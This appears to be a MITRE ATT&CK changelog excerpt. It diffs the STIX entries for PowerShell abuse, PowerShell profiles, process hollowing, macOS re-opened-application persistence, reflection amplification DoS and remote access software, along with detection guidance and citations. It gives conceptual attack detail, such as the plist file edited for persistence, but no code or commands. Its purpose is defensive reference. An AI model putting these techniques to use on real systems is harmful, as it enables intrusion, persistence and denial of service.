| ware/S0363), [PowerSploit](https://attack.mitre.org/softwar | | are/S0363), [PowerSploit](https://attack.mitre.org/software |
| e/S0194), [PoshC2](https://attack.mitre.org/software/S0378), | | /S0194), [PoshC2](https://attack.mitre.org/software/S0378), |
| and PSAttack.(Citation: Github PSAttack) PowerShell comman | | and PSAttack.(Citation: Github PSAttack) PowerShell command |
| ds/scripts can also be executed without directly invoking th | | s/scripts can also be executed without directly invoking the |
| e <code>powershell.exe</code> binary through interfaces to P | | <code>powershell.exe</code> binary through interfaces to Po |
| owerShell's underlying <code>System.Management.Automation</c | | werShell's underlying <code>System.Management.Automation</co |
| ode> assembly DLL exposed through the .NET framework and Win | | de> assembly DLL exposed through the .NET framework and Wind |
| dows Common Language Interface (CLI). (Citation: Sixdub Powe | | ows Common Language Interface (CLI).(Citation: Sixdub PowerP |
| rPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) | | ick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(C |
| (Citation: Microsoft PSfromCsharp APR 2014) | | itation: Microsoft PSfromCsharp APR 2014) |
New Detections:
- DS0009: Process (Process Metadata)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-05-28 14:56:23.748000+00:00 | 2022-04-19 20:25:48.646000+00:00 |
| description | Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014) | Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014) |
| external_references[1]['source_name'] | TechNet PowerShell | Microsoft PSfromCsharp APR 2014 |
| external_references[1]['description'] | Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016. | Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx | https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ |
| external_references[2]['source_name'] | Github PSAttack | SilentBreak Offensive PS Dec 2015 |
| external_references[2]['description'] | Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. | Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018. |
| external_references[2]['url'] | https://github.com/jaredhaight/PSAttack | https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/ |
| external_references[3]['source_name'] | Sixdub PowerPick Jan 2016 | FireEye PowerShell Logging 2016 |
| external_references[3]['description'] | Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018. | Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016. |
| external_references[3]['url'] | http://www.sixdub.net/?p=367 | https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html |
| external_references[4]['source_name'] | SilentBreak Offensive PS Dec 2015 | Github PSAttack |
| external_references[4]['description'] | Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018. | Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016. |
| external_references[4]['url'] | https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/ | https://github.com/jaredhaight/PSAttack |
| external_references[5]['source_name'] | Microsoft PSfromCsharp APR 2014 | inv_ps_attacks |
| external_references[5]['description'] | Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019. | Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021. |
| external_references[5]['url'] | https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ | https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/ |
| external_references[7]['source_name'] | FireEye PowerShell Logging 2016 | TechNet PowerShell |
| external_references[7]['description'] | Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016. | Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html | https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx |
| x_mitre_detection | If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)
It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. | If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)
It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks) |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Sixdub PowerPick Jan 2016', 'description': 'Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.', 'url': 'http://www.sixdub.net/?p=367'} |
| x_mitre_contributors | | Mayuresh Dani, Qualys |
| x_mitre_data_sources | | Process: Process Metadata |
| x_mitre_data_sources | | Script: Script Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Script: Script Execution | |
[T1546.013] Event Triggered Execution: PowerShell Profile
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-24 21:31:31.082000+00:00 | 2022-02-08 16:39:08.851000+00:00 |
| x_mitre_data_sources[0] | Process: Process Creation | File: File Creation |
| x_mitre_data_sources[2] | File: File Modification | Process: Process Creation |
| x_mitre_data_sources[3] | File: File Creation | File: File Modification |
| x_mitre_detection | Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:
* $PsHome\Profile.ps1
* $PsHome\Microsoft.{HostProgram}_profile.ps1
* $Home\My Documents\PowerShell\Profile.ps1
* $Home\My Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1
Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. | Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:
* $PsHome\Profile.ps1
* $PsHome\Microsoft.{HostProgram}_profile.ps1
* $Home\\\[My ]Documents\PowerShell\Profile.ps1
* $Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1
Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Microsoft Profiles', 'description': 'Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.', 'url': 'https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles'} |
| x_mitre_contributors | | Matthew Green |
[T1055.012] Process Injection: Process Hollowing
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 12:30:14.640000+00:00 | 2021-11-29 17:22:32.704000+00:00 |
| x_mitre_detection | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)
Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Nviso Spoof Command Line 2020', 'description': 'Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.', 'url': 'https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/'} |
| external_references | | {'source_name': 'Mandiant Endpoint Evading 2019', 'description': 'Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.', 'url': 'https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode'} |
[T1547.007] Boot or Logon Autostart Execution: Re-opened Applications
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may modify plist files to automatically run an a | t | Adversaries may modify plist files to automatically run an a |
| pplication when a user logs in. Starting in Mac OS X 10.7 (L | | pplication when a user logs in. When a user logs out or rest |
| ion), users can specify certain applications to be re-opened | | arts via the macOS Graphical User Interface (GUI), a prompt |
| when a user logs into their machine after reboot. While thi | | is provided to the user with a checkbox to "Reopen windows w |
| s is usually done via a Graphical User Interface (GUI) on an | | hen logging back in".(Citation: Re-Open windows on Mac) When |
| app-by-app basis, there are property list files (plist) tha | | selected, all applications currently open are added to a pr |
| t contain this information as well located at <code>~/Librar | | operty list file named <code>com.apple.loginwindow.[UUID].pl |
| y/Preferences/com.apple.loginwindow.plist</code> and <code>~ | | ist</code> within the <code>~/Library/Preferences/ByHost</co |
| /Library/Preferences/ByHost/com.apple.loginwindow.* .plist</ | | de> directory.(Citation: Methods of Mac Malware Persistence) |
| code>. An adversary can modify one of these files directly | | (Citation: Wardle Persistence Chapter) Applications listed i |
| to include a link to their malicious executable to provide | | n this file are automatically reopened upon the user’s next |
| a persistence mechanism each time the user reboots their mac | | logon. Adversaries can establish [Persistence](https://atta |
| hine (Citation: Methods of Mac Malware Persistence). | | ck.mitre.org/tactics/TA0003) by adding a malicious applicati |
| | | on path to the <code>com.apple.loginwindow.[UUID].plist</cod |
| | | e> file to execute payloads when a user logs in. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-01-24 19:51:37.795000+00:00 | 2022-04-19 23:46:56.443000+00:00 |
| description | Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist.
An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence). | Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.
Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in. |
| external_references[1]['source_name'] | Methods of Mac Malware Persistence | Re-Open windows on Mac |
| external_references[1]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017. |
| external_references[1]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://support.apple.com/en-us/HT204005 |
| x_mitre_data_sources[0] | File: File Modification | Command: Command Execution |
| x_mitre_data_sources[1] | Command: Command Execution | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} |
| external_references | | {'source_name': 'Wardle Persistence Chapter', 'description': 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.', 'url': 'https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf'} |
[T1498.002] Network Denial of Service: Reflection Amplification
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may attempt to cause a denial of service by refl | t | Adversaries may attempt to cause a denial of service (DoS) b |
| ecting a high-volume of network traffic to a target. This ty | | y reflecting a high-volume of network traffic to a target. T |
| pe of Network DoS takes advantage of a third-party server in | | his type of Network DoS takes advantage of a third-party ser |
| termediary that hosts and will respond to a given spoofed so | | ver intermediary that hosts and will respond to a given spoo |
| urce IP address. This third-party server is commonly termed | | fed source IP address. This third-party server is commonly t |
| a reflector. An adversary accomplishes a reflection attack b | | ermed a reflector. An adversary accomplishes a reflection at |
| y sending packets to reflectors with the spoofed address of | | tack by sending packets to reflectors with the spoofed addre |
| the victim. Similar to Direct Network Floods, more than one | | ss of the victim. Similar to Direct Network Floods, more tha |
| system may be used to conduct the attack, or a botnet may be | | n one system may be used to conduct the attack, or a botnet |
| used. Likewise, one or more reflector may be used to focus | | may be used. Likewise, one or more reflectors may be used to |
| traffic on the target.(Citation: Cloudflare ReflectionDoS Ma | | focus traffic on the target.(Citation: Cloudflare Reflectio |
| y 2017) Reflection attacks often take advantage of protocol | | nDoS May 2017) This Network DoS attack may also reduce the a |
| s with larger responses than requests in order to amplify th | | vailability and functionality of the targeted system(s) and |
| eir traffic, commonly known as a Reflection Amplification at | | network. Reflection attacks often take advantage of protoco |
| tack. Adversaries may be able to generate an increase in vol | | ls with larger responses than requests in order to amplify t |
| ume of attack traffic that is several orders of magnitude gr | | heir traffic, commonly known as a Reflection Amplification a |
| eater than the requests sent to the amplifiers. The extent o | | ttack. Adversaries may be able to generate an increase in vo |
| f this increase will depending upon many variables, such as | | lume of attack traffic that is several orders of magnitude g |
| the protocol in question, the technique used, and the amplif | | reater than the requests sent to the amplifiers. The extent |
| ying servers that actually produce the amplification in atta | | of this increase will depending upon many variables, such as |
| ck volume. Two prominent protocols that have enabled Reflect | | the protocol in question, the technique used, and the ampli |
| ion Amplification Floods are DNS(Citation: Cloudflare DNSamp | | fying servers that actually produce the amplification in att |
| lficationDoS) and NTP(Citation: Cloudflare NTPamplifciationD | | ack volume. Two prominent protocols that have enabled Reflec |
| oS), though the use of several others in the wild have been | | tion Amplification Floods are DNS(Citation: Cloudflare DNSam |
| documented.(Citation: Arbor AnnualDoSreport Jan 2018) In pa | | plficationDoS) and NTP(Citation: Cloudflare NTPamplifciation |
| rticular, the memcache protocol showed itself to be a powerf | | DoS), though the use of several others in the wild have been |
| ul protocol, with amplification sizes up to 51,200 times the | | documented.(Citation: Arbor AnnualDoSreport Jan 2018) In p |
| requesting packet.(Citation: Cloudflare Memcrashed Feb 2018 | | articular, the memcache protocol showed itself to be a power |
| ) | | ful protocol, with amplification sizes up to 51,200 times th |
| | | e requesting packet.(Citation: Cloudflare Memcrashed Feb 201 |
| | | 8) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-29 16:13:53.747000+00:00 | 2022-03-25 20:05:38.883000+00:00 |
| description | Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)
Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018) | Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.
Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018) |
| external_references[5]['url'] | https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf | https://web.archive.org/web/20180320005525/https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf |
| x_mitre_data_sources[0] | Sensor Health: Host Status | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Flow | Sensor Health: Host Status |
| x_mitre_version | 1.2 | 1.3 |
[T1219] Remote Access Software
Current version: 2.1
Version changed from: 2.0 → 2.1
|
|
|---|
| t | An adversary may use legitimate desktop support and remote a | t | An adversary may use legitimate desktop support and remote a |
| ccess software, such as Team Viewer, Go2Assist, LogMein, Amm | | ccess software, such as Team Viewer, AnyDesk, Go2Assist, Log |
| yyAdmin, etc, to establish an interactive command and contro | | Mein, AmmyyAdmin, etc, to establish an interactive command a |
| l channel to target systems within networks. These services | | nd control channel to target systems within networks. These |
| are commonly used as legitimate technical support software, | | services are commonly used as legitimate technical support s |
| and may be allowed by application control within a target en | | oftware, and may be allowed by application control within a |
| vironment. Remote access tools like VNC, Ammyy, and Teamview | | target environment. Remote access tools like VNC, Ammyy, and |
| er are used frequently when compared with other legitimate s | | Teamviewer are used frequently when compared with other leg |
| oftware commonly used by adversaries. (Citation: Symantec Li | | itimate software commonly used by adversaries.(Citation: Sym |
| ving off the Land) Remote access tools may be established a | | antec Living off the Land) Remote access tools may be insta |
| nd used post-compromise as alternate communications channel | | lled and used post-compromise as alternate communications ch |
| for redundant access or as a way to establish an interactive | | annel for redundant access or as a way to establish an inter |
| remote desktop session with the target system. They may als | | active remote desktop session with the target system. They m |
| o be used as a component of malware to establish a reverse c | | ay also be used as a component of malware to establish a rev |
| onnection or back-connect to a service or adversary controll | | erse connection or back-connect to a service or adversary co |
| ed system. Admin tools such as TeamViewer have been used by | | ntrolled system. Installation of many remote access tools ma |
| several groups targeting institutions in countries of inter | | y also include persistence (ex: the tool's installation rout |
| est to the Russian state and criminal campaigns. (Citation: | | ine creates a [Windows Service](https://attack.mitre.org/tec |
| CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blo | | hniques/T1543/003)). Admin tools such as TeamViewer have be |
| g TeamSpy) | | en used by several groups targeting institutions in countrie |
| | | s of interest to the Russian state and criminal campaigns.(C |
| | | itation: CrowdStrike 2015 Global Threat Report)(Citation: Cr |
| | | ySyS Blog TeamSpy) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_network_requirements | True | |
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 20:42:37.320000+00:00 | 2022-04-21 14:54:10.899000+00:00 |
| description | An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.
Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy) | An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)
Remote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).
Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) |
| external_references[1]['source_name'] | Symantec Living off the Land | CrowdStrike 2015 Global Threat Report |
| external_references[1]['description'] | Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018. | CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018. |
| external_references[1]['url'] | https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf | https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf |
| external_references[2]['source_name'] | CrowdStrike 2015 Global Threat Report | CrySyS Blog TeamSpy |
| external_references[2]['description'] | CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018. | CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018. |
| external_references[2]['url'] | https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf | https://blog.crysys.hu/2013/03/teamspy/ |
| external_references[3]['source_name'] | CrySyS Blog TeamSpy | Symantec Living off the Land |
| external_references[3]['description'] | CrySyS Lab. (2013, March 20). TeamSpy – Obshie manevri. Ispolzovat’ tolko s razreshenija S-a. Retrieved April 11, 2018. | Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018. |
| external_references[3]['url'] | https://blog.crysys.hu/2013/03/teamspy/ | https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf |
| x_mitre_data_sources[0] | Process: Process Creation | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Flow | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Network Traffic: Network Connection Creation | Process: Process Creation |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Content | Network Traffic: Network Traffic Flow |
| x_mitre_version | 2.0 | 2.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Zachary Stanford, @svch0st |
[T1021.001] Remote Services: Remote Desktop Protocol
